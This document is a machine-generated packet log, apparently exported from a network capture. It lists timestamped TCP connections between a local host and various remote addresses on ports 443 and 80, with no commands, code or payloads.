Jan 11, 2025 01:11:51.671010017 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.811887026 CET	49736	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.811935902 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.812341928 CET	49736	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.812341928 CET	49736	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.812374115 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.232537031 CET	49680	80	192.168.2.16	192.229.211.108
Jan 11, 2025 01:11:52.286365032 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.286979914 CET	49736	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:52.287003994 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.287408113 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.288918018 CET	49736	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:52.288918018 CET	49736	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:52.288944960 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.289140940 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.344623089 CET	49736	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:52.425425053 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.425607920 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.425698996 CET	49736	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:52.426251888 CET	49736	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:52.426274061 CET	443	49736	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.429290056 CET	49737	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:52.429339886 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:52.429404974 CET	49737	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:52.429682016 CET	49737	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:52.429701090 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:52.883573055 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:52.884013891 CET	49737	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:52.884038925 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:52.884406090 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:52.885056019 CET	49737	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:52.885122061 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:52.885272980 CET	49737	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:52.913229942 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:52.913271904 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.913353920 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:52.913899899 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:52.913914919 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:52.927330017 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:53.016906977 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:53.016990900 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:53.017056942 CET	49737	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:53.017920017 CET	49737	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:53.017937899 CET	443	49737	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:53.386492968 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.386785984 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.386822939 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.387149096 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.387686968 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.387686968 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.387687922 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.387712955 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.387732983 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.387780905 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.387782097 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.387820005 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.387851954 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.387880087 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.443367004 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.634500027 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.634560108 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.634574890 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.634612083 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.634617090 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.634635925 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.634721994 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.634821892 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.634869099 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.634898901 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.635076046 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.635076046 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.635092020 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.635752916 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.635833979 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.635853052 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.680526018 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.680552959 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724226952 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724265099 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724296093 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724325895 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.724345922 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724360943 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.724514961 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724544048 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724577904 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724611044 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724694014 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.724737883 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.724737883 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.724737883 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.724961042 CET	49738	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:53.724981070 CET	443	49738	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:53.727699041 CET	49739	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:53.727741957 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:53.727823019 CET	49739	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:53.728044987 CET	49739	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:53.728058100 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:54.192919970 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:54.193216085 CET	49739	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:54.193238974 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:54.193588018 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:54.193984032 CET	49739	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:54.194061041 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:54.194111109 CET	49739	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:54.235338926 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:54.239552021 CET	49739	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:54.329658985 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:54.329731941 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:54.330017090 CET	49739	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:54.330965042 CET	49739	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:54.330986023 CET	443	49739	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:54.637574911 CET	49680	80	192.168.2.16	192.229.211.108
Jan 11, 2025 01:11:54.988563061 CET	49678	443	192.168.2.16	20.189.173.10
Jan 11, 2025 01:11:56.437669039 CET	49673	443	192.168.2.16	204.79.197.203
Jan 11, 2025 01:11:58.208913088 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:58.208990097 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:58.209131956 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:59.167331934 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:59.167355061 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:59.453607082 CET	49680	80	192.168.2.16	192.229.211.108
Jan 11, 2025 01:12:04.590609074 CET	49678	443	192.168.2.16	20.189.173.10
Jan 11, 2025 01:12:09.058803082 CET	49680	80	192.168.2.16	192.229.211.108
Jan 11, 2025 01:12:29.170691967 CET	49709	80	192.168.2.16	103.83.194.55
Jan 11, 2025 01:12:29.175654888 CET	80	49709	103.83.194.55	192.168.2.16
Jan 11, 2025 01:12:45.167474031 CET	49709	80	192.168.2.16	103.83.194.55
Jan 11, 2025 01:12:45.172545910 CET	80	49709	103.83.194.55	192.168.2.16
Jan 11, 2025 01:12:45.172666073 CET	49709	80	192.168.2.16	103.83.194.55
Jan 11, 2025 01:12:46.289274931 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:46.289326906 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:46.289431095 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:46.289666891 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:46.289683104 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:46.761683941 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:46.761980057 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:46.761997938 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:46.762327909 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:46.762819052 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:46.762881041 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:46.763046026 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:46.763129950 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:46.763150930 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:46.763222933 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:46.763257027 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:47.039613962 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:47.039707899 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:47.039757013 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:47.039757967 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:47.039768934 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:47.039819956 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:47.039833069 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:47.039859056 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:47.039902925 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:47.040419102 CET	49742	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:12:47.040437937 CET	443	49742	104.18.94.41	192.168.2.16
Jan 11, 2025 01:12:47.044218063 CET	49743	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:12:47.044266939 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.044389009 CET	49743	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:12:47.044682980 CET	49743	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:12:47.044693947 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.171339989 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:47.171396971 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:47.171513081 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:47.171750069 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:47.171762943 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:47.519704103 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.520061016 CET	49743	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:12:47.520088911 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.520463943 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.520817041 CET	49743	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:12:47.520874023 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.520961046 CET	49743	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:12:47.563338995 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.636451960 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:47.636868000 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:47.636884928 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:47.637929916 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:47.638026953 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:47.639233112 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:47.639301062 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:47.639420986 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:47.639429092 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:47.645679951 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.645739079 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.645802021 CET	49743	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:12:47.646610022 CET	49743	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:12:47.646641970 CET	443	49743	104.18.95.41	192.168.2.16
Jan 11, 2025 01:12:47.680748940 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:47.714632988 CET	49745	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:12:47.714682102 CET	443	49745	172.217.18.4	192.168.2.16
Jan 11, 2025 01:12:47.714917898 CET	49745	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:12:47.715162039 CET	49745	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:12:47.715173960 CET	443	49745	172.217.18.4	192.168.2.16
Jan 11, 2025 01:12:48.194417953 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.194515944 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.194597960 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.195404053 CET	49744	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.195420027 CET	443	49744	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.312042952 CET	49748	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.312086105 CET	443	49748	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.312174082 CET	49748	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.312468052 CET	49748	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.312474012 CET	443	49748	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.346054077 CET	443	49745	172.217.18.4	192.168.2.16
Jan 11, 2025 01:12:48.346407890 CET	49745	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:12:48.346420050 CET	443	49745	172.217.18.4	192.168.2.16
Jan 11, 2025 01:12:48.346745968 CET	443	49745	172.217.18.4	192.168.2.16
Jan 11, 2025 01:12:48.347050905 CET	49745	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:12:48.347101927 CET	443	49745	172.217.18.4	192.168.2.16
Jan 11, 2025 01:12:48.399784088 CET	49745	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:12:48.776575089 CET	443	49748	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.776871920 CET	49748	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.776906013 CET	443	49748	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.777903080 CET	443	49748	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.777993917 CET	49748	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.778315067 CET	49748	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.778332949 CET	49748	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.778383970 CET	443	49748	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.778438091 CET	49748	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.778487921 CET	49748	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.779035091 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.779087067 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:48.779190063 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.779452085 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:48.779467106 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:49.246825933 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:49.247129917 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:49.247147083 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:49.248143911 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:49.248219013 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:49.248511076 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:49.248564959 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:49.248651028 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:49.248656034 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:49.292870045 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:49.804685116 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:49.804788113 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:49.804848909 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:49.805468082 CET	49749	443	192.168.2.16	104.21.6.222
Jan 11, 2025 01:12:49.805486917 CET	443	49749	104.21.6.222	192.168.2.16
Jan 11, 2025 01:12:58.251116991 CET	443	49745	172.217.18.4	192.168.2.16
Jan 11, 2025 01:12:58.251188040 CET	443	49745	172.217.18.4	192.168.2.16
Jan 11, 2025 01:12:58.251267910 CET	49745	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:12:58.566998959 CET	49745	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:12:58.567028046 CET	443	49745	172.217.18.4	192.168.2.16
Jan 11, 2025 01:13:41.862231970 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:41.862288952 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:41.862365007 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:41.862562895 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:41.862576962 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.690349102 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.690637112 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:42.690670013 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.692140102 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.692224979 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:42.694013119 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:42.694111109 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.694190979 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:42.694212914 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.735968113 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:42.959985971 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.961633921 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.961668968 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.961713076 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.961750984 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.961786032 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:42.961817980 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:42.961841106 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:42.961889982 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.051691055 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.051762104 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.051815987 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.051832914 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.051902056 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.051909924 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.053188086 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.053241014 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.053287029 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.053308010 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.053334951 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.103990078 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.141550064 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.141604900 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.141704082 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.141724110 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.141762972 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.141788960 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.142698050 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.142740965 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.142791033 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.142805099 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.142841101 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.142888069 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.143593073 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.143636942 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.143682003 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.143695116 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.143722057 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.143739939 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.144553900 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.144598007 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.144646883 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.144654989 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.144695044 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.144716978 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.232779026 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.232806921 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.232981920 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.233014107 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.233063936 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.233172894 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.233203888 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.233227968 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.233237982 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.233263969 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.233295918 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.234209061 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.234229088 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.234306097 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.234318972 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.234366894 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.235073090 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.235090017 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.235147953 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.235169888 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.235181093 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.235222101 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.235261917 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.236077070 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.236092091 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.236329079 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.236341953 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.278975964 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.323394060 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.323420048 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.323492050 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.323528051 CET	443	49798	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:43.323545933 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.323573112 CET	49798	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:43.324161053 CET	443	49798	152.199.21.175	192.168.2.16
